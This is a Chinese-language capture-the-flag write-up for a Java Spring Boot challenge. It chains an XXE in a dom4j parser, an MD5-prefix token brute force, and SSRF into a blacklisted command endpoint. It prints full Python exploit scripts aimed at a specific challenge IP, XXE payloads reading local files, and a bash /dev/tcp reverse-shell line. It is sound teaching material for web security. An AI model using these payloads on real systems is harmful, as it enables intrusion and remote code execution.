Inject Me 题解


一道来自CNSS Summer的java题

笨人也是最近才刚刚开始学习java,所以写得比较菜。而且说是题解,但是因为自己没有vps的原因,自己也做不完后面的内容

题目与靶机

题目提供了summer.jar附件,打开靶机页面显示404 Not Found

对于jar包,我们可以使用jadx对其进行反编译:

题目的提示为:

  1. XXE
  2. Revese Shell(反弹shell)

查看源代码

查看源代码:

Controller

发现Controller有两个主要Controller:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
//CommandController:
@RequestMapping({"/cnss"})
@Controller
/* loaded from: summer-0.0.1.jar:BOOT-INF/classes/com/cnss/summer/controller/CommandController.class */
public class CommandController {
private static final Logger log = LoggerFactory.getLogger(CommandController.class);
@Autowired
private CommandFilterConfig config;

@RequestMapping({"/doCmd"})//访问 /cnss/doCmd
@ResponseBody
public void doCmd(@RequestParam String cmd, HttpServletRequest request) throws IOException {
if (cmd != null) {
for (String str : this.config.getBlacklist()) {
if (cmd.contains(str)) {//config的黑名单限制,也就是application.properties的限制
return;
}
}
log.info("cmd: {}", cmd);
try {
new ProcessBuilder("/bin/sh", "-c", cmd).start().waitFor();//命令执行
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
}
//此处@RequestParam String cmd的意思就是通过get方式传入参数cmd
//而另外一个与其相似的@RequestBody 是通过POST方式传入参数

分析下来CommandController其实是我们通过访问/cnss/doCmd?cmd=来进行命令执行

另外一个Controller:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
//HelloController
package com.cnss.summer.controller;

import com.cnss.summer.entity.LoginParam;
import com.cnss.summer.entity.ParseParam;
import com.cnss.summer.entity.ResponseEntity;
import java.io.StringReader;
import java.nio.charset.StandardCharsets;
import java.util.HashMap;
import java.util.Objects;
import java.util.UUID;
import javax.servlet.http.HttpServletRequest;
import javax.validation.Valid;
import javax.validation.constraints.NotEmpty;
import javax.validation.constraints.NotNull;
import org.dom4j.p006io.SAXReader;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.util.DigestUtils;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@RequestMapping({"/cnss/summer"})
@RestController
/* loaded from: summer-0.0.1.jar:BOOT-INF/classes/com/cnss/summer/controller/HelloController.class */
public class HelloController {
private static final Logger log = LoggerFactory.getLogger(HelloController.class);

@RequestMapping({"/login"})
public ResponseEntity login(@NotNull @Valid @RequestBody LoginParam credentials, HttpServletRequest request) {
String uuid = UUID.randomUUID().toString();
log.info("uuid: {}", uuid);
String uuid2 = DigestUtils.md5DigestAsHex(uuid.getBytes(StandardCharsets.UTF_8));
request.getSession().setAttribute("username", credentials.getUsername());
request.getSession().setAttribute("token", uuid2);
request.getSession().setAttribute("timestamp", Long.valueOf(System.currentTimeMillis()));
HashMap<String, String> map = new HashMap<>();
map.put("token", uuid2);
return new ResponseEntity("200", "Login success!", map);
}

@RequestMapping({"/parse"})
public ResponseEntity parse(@NotNull @RequestBody ParseParam payload, @RequestParam("nammmmme") @NotEmpty @Valid String username, HttpServletRequest request) throws Exception {
String username1 = (String) request.getSession().getAttribute("username");
if (!Objects.equals(username, username1) || !Objects.equals(payload.getUsername(), username1)) {
throw new Exception();
}
return new ResponseEntity("200", "Parse success!", new SAXReader().read(new StringReader(payload.getXml())).getRootElement().getText());
}
}

该Controller包含两个路由:

/cnss/summer/login:

通过Post方式传入loginParam内的东西,将其称为credentials

Param

查看loginParam:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public class LoginParam {
@JsonProperty("us3rname")
@NotEmpty
private String username;
@JsonProperty("p@ssword")
@NotEmpty
private String password;

public LoginParam(String username, String password) {
this.username = username;
this.password = password;
}

public LoginParam() {
}

@JsonProperty("us3rname")
public void setUsername(String username) {
this.username = username;
}

@JsonProperty("p@ssword")
public void setPassword(String password) {
this.password = password;
}
...
}

说明其实我们的POST参数名应该是us3rnamep@ssword

然后获取了一个uuid,设置session内的参数(比如username, timestamp, token),然后返回了一个token的md5值

/cnss/summer/parse:

parse路由需要使用POST传入ParseParam的东西,将其称为payload,还需要使用get传入一个参数nammmmme

查看ParseParam:

1
2
3
4
5
6
7
8
9
10
private String username;
@NotEmpty
private String xml;

public ParseParam(String username, String xml) {
this.username = username;
this.xml = xml;
}


说明我们需要请求的参数是username和xml

然后获取到session内我们先前loginusername参数,并进行判断:

如果session内的username参数和我们的nammmmme不一致,或者是payload内传入的username参数与nammmmme不一致,就会返回错误

反而会进行一个xml的获取,我们结合题目的提示xxe可以猜测到我们可以在这里进行xxe的注入

实际上,对于SAXReader这个第三方库,是的确有存在xxe的风险的:

参考这篇文章:

java xxe

再查看

然后回过头来,先前我们在CommandController内发现它从config处获取了blacklist,所以我们尝试去查找一个这个config

Config

在config处我们发现了:

CommandFilterConfig和ParseFilterConfig

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
//CommandFilterConfig:
public class CommandFilterConfig {
@Value("${config.command.allow}")
private String allow;
@Value("${config.command.blacklist}")
private List<String> blacklist;

public void setAllow(String allow) {
this.allow = allow;
}

public void setBlacklist(List<String> blacklist) {
this.blacklist = blacklist;
}

public boolean equals(Object o) {
if (o == this) {
return true;
}
if (!(o instanceof CommandFilterConfig)) {
return false;
}
CommandFilterConfig other = (CommandFilterConfig) o;
if (!other.canEqual(this)) {
return false;
}
Object this$allow = getAllow();
Object other$allow = other.getAllow();
if (this$allow == null) {
if (other$allow != null) {
return false;
}
} else if (!this$allow.equals(other$allow)) {
return false;
}
Object this$blacklist = getBlacklist();
Object other$blacklist = other.getBlacklist();
return this$blacklist == null ? other$blacklist == null : this$blacklist.equals(other$blacklist);
}

protected boolean canEqual(Object other) {
return other instanceof CommandFilterConfig;
}

public int hashCode() {
Object $allow = getAllow();
int result = (1 * 59) + ($allow == null ? 43 : $allow.hashCode());
Object $blacklist = getBlacklist();
return (result * 59) + ($blacklist == null ? 43 : $blacklist.hashCode());
}

public String toString() {
return "CommandFilterConfig(allow=" + getAllow() + ", blacklist=" + getBlacklist() + ")";
}

public String getAllow() {
return this.allow;
}

public List<String> getBlacklist() {
return this.blacklist;
}
}

其实就是用系统设置内获取allowblacklist

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
//ParseFilterConfig
public class ParseFilterConfig {
@Value("${config.method}")
private String method;
@Value("${config.auth.len}")
private int authLen;
@Value("${config.auth.expire}")
private long expire;//获取请求方式method、len、expire

public void setMethod(String method) {
this.method = method;
}

public void setAuthLen(int authLen) {
this.authLen = authLen;
}

public void setExpire(long expire) {
this.expire = expire;
}

public boolean equals(Object o) {
if (o == this) {
return true;
}
if (!(o instanceof ParseFilterConfig)) {
return false;
}
ParseFilterConfig other = (ParseFilterConfig) o;
if (!other.canEqual(this) || getAuthLen() != other.getAuthLen() || getExpire() != other.getExpire()) {
return false;
}
Object this$method = getMethod();
Object other$method = other.getMethod();
return this$method == null ? other$method == null : this$method.equals(other$method);
}

protected boolean canEqual(Object other) {
return other instanceof ParseFilterConfig;
}

public int hashCode() {
int result = (1 * 59) + getAuthLen();
long $expire = getExpire();
int result2 = (result * 59) + ((int) (($expire >>> 32) ^ $expire));
Object $method = getMethod();
return (result2 * 59) + ($method == null ? 43 : $method.hashCode());
}

public String toString() {
return "ParseFilterConfig(method=" + getMethod() + ", authLen=" + getAuthLen() + ", expire=" + getExpire() + ")";
}

public String getMethod() {
return this.method;
}

public int getAuthLen() {
return this.authLen;
}

public long getExpire() {
return this.expire;
}
}

同样地,获取参数并且设置

filter

我们还发现了一个重要的包:filter未查看,其实从包名应该可以猜出这是对我们访问时所作出的一些过滤限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
//commandFilter
package com.cnss.summer.filter;

import com.cnss.summer.config.CommandFilterConfig;
import java.io.IOException;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.annotation.WebFilter;
import javax.servlet.http.HttpServletRequest;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;

@WebFilter(filterName = "commandFilter", urlPatterns = {"/cnss/doCmd"})
/* loaded from: summer-0.0.1.jar:BOOT-INF/classes/com/cnss/summer/filter/CommandFilter.class */
public class CommandFilter implements Filter {
private static final Logger log = LoggerFactory.getLogger(CommandFilter.class);
@Autowired
private CommandFilterConfig config;

@Override // javax.servlet.Filter
public void init(FilterConfig filterConfig) throws ServletException {
super.init(filterConfig);
}

@Override // javax.servlet.Filter
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
if (((HttpServletRequest) servletRequest).getRemoteAddr().equals(this.config.getAllow())) {//访问地址
filterChain.doFilter(servletRequest, servletResponse);
}
}

@Override // javax.servlet.Filter
public void destroy() {
super.destroy();
}
}

应该是对于请求/doCmd时做出的限制,其实就是查看请求的内容是否符合规范(?)

上一行当然是废话…

其实是对于访问地址做出的限制:

1
2
访问的地址是否与this.config.getAllow()符合
其实就是${config.command.allow}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//ParseFilter,重要的放在这里
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
String token;
HttpServletRequest request = (HttpServletRequest) servletRequest;
if (Objects.equals(request.getMethod(), this.config.getMethod()) && (token = (String) request.getSession().getAttribute("token")) != null) {
long timestamp = ((Long) request.getSession().getAttribute("timestamp")).longValue();
long now = System.currentTimeMillis();
if (now - timestamp <= this.config.getExpire()) {
if (!Objects.equals(token.substring(0, this.config.getAuthLen()), DigestUtils.md5DigestAsHex(request.getHeader("UUID").getBytes(StandardCharsets.UTF_8)).substring(0, this.config.getAuthLen()))) {
request.getSession().invalidate();
return;
}
request.getSession().setAttribute("timestamp", Long.valueOf(now));
filterChain.doFilter(servletRequest, servletResponse);
}
}
}

这里对于我们的/Parse做出限制:

1
2
3
4
5
6
7
8
9
首先我们的method要与config的method相等,并且session内的token不等于null

并且我们的session的时间戳不能过期,这个过期时间就是我们的config内的getExpire()
就是我们的${config.auth.expire}

再然后就是我们需要在Header内添加一个uuid参数,并且其md5后的substring后与token的substring后是一致的,才能够成功

这里substring的位置是开头的前x个字符,具体的话还需要我们来查看this.config.getAuthLen()
也就是${config.auth.len}

系统设置 application.properties

其实就是application.properties

发现application.properties对server进行了一些限制:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
server:
address: 0.0.0.0
port: 5000
spring:
application:
name: cnss-summer
config:
method: SUMMMMMER
auth:
len: 4
expire: 5000
command:
allow: 127.0.0.1
blacklist: rm, cat, tac, mv, touch, mkdir, rmdir, whoami, ls

服务器在本地的5000端口,请求方式为SUMMMMER

以及expire: 5000

在java时间戳(timestamp)当中应该是5秒钟的时间

还有command处,仅允许127.0.0.1访问才能够执行命令

而且还有黑名单限制,我们无法使用:

1
rm, cat, tac, mv, touch, mkdir, rmdir, whoami, ls

联系到反弹shell,我们可以猜测到通过反弹shell来获取到我们的flag

而且需要通过访问本地的服务才能进行命令的执行:

xxe:

我们先前的xxe一直都是使用file:///flag进行flag的读取,但其实xxe不仅仅只有这一个用途,它还有:

  • SSRF
  • 探测内网的信息
  • RCE

思路

在上文中我们得知/cnss/summer/parse可以进行xxe,但是有以下几个限制:

1
2
3
4
1. parse的请求方式与config中相同,也就是SUMMMMMER
2. parse的访问必须是在session的有效期内,也就是5秒钟
3. parse时还需要添加一个UUID 请求头,并且该UUID通过md5后内容的前4与token的(其实token也是个md5值)前4项一致
4. 还需要传入username、xml,使得其与我们在get处传入的nammmmme一致

对于5秒钟的限制,我们仍有解决方法。解决的方法就是利用我们的python

对,写python脚本即可

由于只用考虑前4项一致,我们可以直接进行爆破即可

通过碰撞来获取我们需要的UUID,通常我们考虑的是数字的爆破即可

但是在python中的md5加密一般都是字符串,所以我们要先对int类型进行转换

Login

而我们首先需要通过/cnss/summer/login来获取这个token:

通过python获取到session的token即可:

1
2
3
4
5
6
7
8
9
10
11
12
import json

...
if __name__ == '__main__':
s = Session() #创建/初始化一个session
#获取到post后结果的session:

loginurl = 'http://124.221.34.13:50013/cnss/summer/login'
loginres = s.post(url=loginurl, json={'us3rname': 'us3rname', 'p@ssword': 'p@ssword'}) #获取到POST后返回的session
#print(loginres.json())#测试用,查看登录后返回的信息
token = loginres.json()['data']['token'] #获取登录后的data参数的token参数,经过上一步后会得知其登录后参数是这样的:
#{'code': '200', 'message': 'Login success!', 'data': {'token': 'cbb6d0d67cc8988ba2fa8a84f145b68a'}}

Parse

接下来我们需要访问parse并且执行xxe:

对于parse我们需要做的准备是:

  1. 通过python设置SUMMMMMER请求方式
  2. 设置UUID请求头,并且通过爆破获得参数
  3. 传入参数username和xml

对于请求方式,可以通过Request来进行设置:

1
2
Request可以自定义请求方式,链接,header等
具体参考下图

对于UUID,我们需要进行md5的碰撞,先写一个md5的加密函数方便我们接下来的操作:

1
2
3
4
5
import hashlib
def md5(str):
m = hashlib.md5()
m.update(str.encode('utf-8'))
return m.hexdigest()

然后写一个md5碰撞:

1
2
3
4
5
def md5Crack(token):
for i in range(1, 10000000000):
if md5(str(i))[:4] == token[:4]:
return i
#由于i是int类型,所以要记得转换哦
1
2
3
#获取我们的uuid:
myuuid = md5Crack(token)
print(myuuid)
1
2
3
4
5
6
7
#请求Parse:
parseurl = 'http://124.221.34.13:50013/cnss/summer/parse?nammmmme=us3rname'
xml = ''
data = {
'username' : 'us3rname',
'xml' : xml
}

其实我们已经知道是在parse处进行xxe了,所以我们可以将xml修改一下:

1
2
3
4
5
6
7
xml = '''<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE test[
<!ENTITY xxe SYSTEM "file:///">
]>
<root>&xxe;</root>
'''
#此处file:///可以读目录

接下来设置请求头,添加我们的UUID、Content-Type等:

1
2
3
4
5
6
#设置请求头:
headers = {
'UUID': str(myuuid),
'Content-Type': 'application/json',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36'
}

最后设置并发送请求

1
2
3
4
5
6
7
8
9
headers = {
'UUID': str(myuuid),
'Content-Type': 'application/json',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36'
}
request = Request('SUMMMMMER', parseurl, data=json.dumps(data), headers=headers)
prep = s.prepare_request(request)
x = s.send(prep)
print(x.json())

返回:

1
2
25994
{'code': '200', 'message': 'Parse success!', 'data': '.dockerenv\napp\nbin\nboot\ndev\netc\nfl444444g\nhome\nlib\nlib64\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n'}

为了使得好看一些:

可以修改为print(x.json()[‘data’]):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#exp.py
import requests
from requests import Session, Request
import hashlib
import json
#md5 加密:
def md5(str):
m = hashlib.md5()
m.update(str.encode('utf-8'))
return m.hexdigest()

#md5碰撞:
def md5Crack(token):
for i in range(1, 10000000000):
if md5(str(i))[:4] == token[:4]:
return i

#主程序
if __name__ == '__main__':
s = Session() #创建/初始化一个session
#获取到post后结果的session:

loginurl = 'http://124.221.34.13:50013/cnss/summer/login'
loginres = s.post(url=loginurl, json={'us3rname': 'us3rname', 'p@ssword': 'p@ssword'}) #获取到POST后返回的session
#print(loginres.json())#测试用,查看登录后返回的信息
token = loginres.json()['data']['token'] #获取登录后的data参数的token参数,经过上一步后会得知其登录后参数是这样的:
#{'code': '200', 'message': 'Login success!', 'data': {'token': 'cbb6d0d67cc8988ba2fa8a84f145b68a'}}

#获取我们的uuid:
myuuid = md5Crack(token)
print(myuuid)

#请求Parse:
parseurl = 'http://124.221.34.13:50013/cnss/summer/parse?nammmmme=us3rname'
xml = '''<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE test[
<!ENTITY xxe SYSTEM "file:///">
]>
<root>&xxe;</root>
'''
#此处file:///可以读目录
data = {
'username' : 'us3rname',
'xml' : xml
}
#设置请求头:
headers = {
'UUID': str(myuuid),
'Content-Type': 'application/json',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36'
}
request = Request('SUMMMMMER', parseurl, data=json.dumps(data), headers=headers)
prep = s.prepare_request(request)
x = s.send(prep)
print(x.json())
print(x.json()['data'])
'''
return:
22596
{'code': '200', 'message': 'Parse success!', 'data': '.dockerenv\napp\nbin\nboot\ndev\netc\nfl444444g\nhome\nlib\nlib64\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n'}
.dockerenv
app
bin
boot
dev
etc
fl444444g
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
'''

发现fl444444g

但是我们尝试使用file:///fl444444g时,会返回:

1
2
3
22430
{'code': '500', 'message': 'Exception occurred!', 'data': None}
None

说明该文件是我们无法通过file来进行读取的

但是我们读取/etc/passwd的话,它是能够正常读取:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
38120
{'code': '200', 'message': 'Parse success!', 'data': 'root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n_apt:x:100:65534::/nonexistent:/usr/sbin/nologin\ncnss:x:1000:1000:,,,:/home/cnss:/bin/bash\n'}
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
cnss:x:1000:1000:,,,:/home/cnss:/bin/bash

所以说我们总体思路是没有问题的,问题在于flag是不能正常读

联系到我们还有个/doCmd没有使用

以及hint Revese Shell

所以我们应该是需要去访问/doCmd然后进行反弹shell操作

考虑到/doCmd的访问方式是限制0.0.0.0(或者127.0.0.1),端口限制在5000

所以我们可以通过xxe访问内网:

同时利用quote库使得我们的command能够正常被引用:

1
2
3
4
5
6
7
command = ''
xml = f'''<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE test[
<!ENTITY xxe SYSTEM "http://127.0.0.1:5000/cnss/doCmd?cmd={quote(command)}">
]>
<root>&xxe;</root>
'''

只需要command处执行反弹shell即可

死于没有vps,做不了这一步T_T

1
2
command = 'bash -i >& /dev/tcp/你服务器公网ip/你nc监听的端口 0>&1'  # 反弹shell

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import requests
from requests import Session, Request
import hashlib
import json
from urllib.parse import quote
#md5 加密:
def md5(str):
m = hashlib.md5()
m.update(str.encode('utf-8'))
return m.hexdigest()

#md5碰撞:
def md5Crack(token):
for i in range(1, 10000000000):
if md5(str(i))[:4] == token[:4]:
return i

#主程序
if __name__ == '__main__':
s = Session() #创建/初始化一个session
#获取到post后结果的session:

loginurl = 'http://124.221.34.13:50013/cnss/summer/login'
loginres = s.post(url=loginurl, json={'us3rname': 'us3rname', 'p@ssword': 'p@ssword'}) #获取到POST后返回的session
#print(loginres.json())#测试用,查看登录后返回的信息
token = loginres.json()['data']['token'] #获取登录后的data参数的token参数,经过上一步后会得知其登录后参数是这样的:
#{'code': '200', 'message': 'Login success!', 'data': {'token': 'cbb6d0d67cc8988ba2fa8a84f145b68a'}}

#获取我们的uuid:
myuuid = md5Crack(token)
print(myuuid)

#请求Parse:
parseurl = 'http://124.221.34.13:50013/cnss/summer/parse?nammmmme=us3rname'
command = ''
xml = f'''<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE test[
<!ENTITY xxe SYSTEM "http://127.0.0.1:5000/cnss/doCmd?cmd={quote(command)}">
]>
<root>&xxe;</root>
'''
#此处file:///可以读目录
data = {
'username' : 'us3rname',
'xml' : xml
}
#设置请求头:
headers = {
'UUID': str(myuuid),
'Content-Type': 'application/json',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36'
}
request = Request('SUMMMMMER', parseurl, data=json.dumps(data), headers=headers)
prep = s.prepare_request(request)
x = s.send(prep)
print(x.json())
print(x.json()['data'])

后面就是反弹shell后的操作了


其实这是2022的原题,完整操作参考:

[CTF]2022 CNSS夏令营 Web&Reverse 复现wp - Tim厉 - 博客园 (cnblogs.com)